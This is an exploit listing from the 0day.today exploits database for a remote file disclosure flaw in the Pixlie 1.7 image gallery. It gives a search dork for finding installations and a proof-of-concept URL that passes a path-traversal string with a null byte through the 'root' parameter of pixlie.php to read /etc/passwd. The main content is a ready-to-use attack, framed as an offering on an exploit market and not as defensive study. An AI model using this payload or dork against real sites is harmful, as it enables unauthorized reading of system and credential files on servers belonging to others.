[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Pixlie 1.7 (pixlie.php root) Remote File Disclosure Vulnerability

Author
Rizgar
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-2072
Category
web applications
Date add
09-08-2007
Platform
unsorted
=================================================================
Pixlie 1.7 (pixlie.php root) Remote File Disclosure Vulnerability
=================================================================



Pixlie 1.7 Remote File Disclosure Vulnerability
-----------------------------------------------------------------------

Script : Pixlie 1.7

Version : 1.7

Site : http://www.pixlie.de/download.php

Founder : Rizgar

Thanks : Kurdish Hackers Clan(Anti Fashist Group :P), PH(HERO) , ColdHackers(nice boys)

d0rk : "Pixlie - die kostenlose Bildergalerie"

-----------------------------------------------------------------------

look at pixlie.php


//$root = "/home/www/IhrBenutzer/html";



PoC :

http://www.example.com/pixlie.php?root=../../../../../etc/passwd%00



#  0day.today [2024-07-05]  #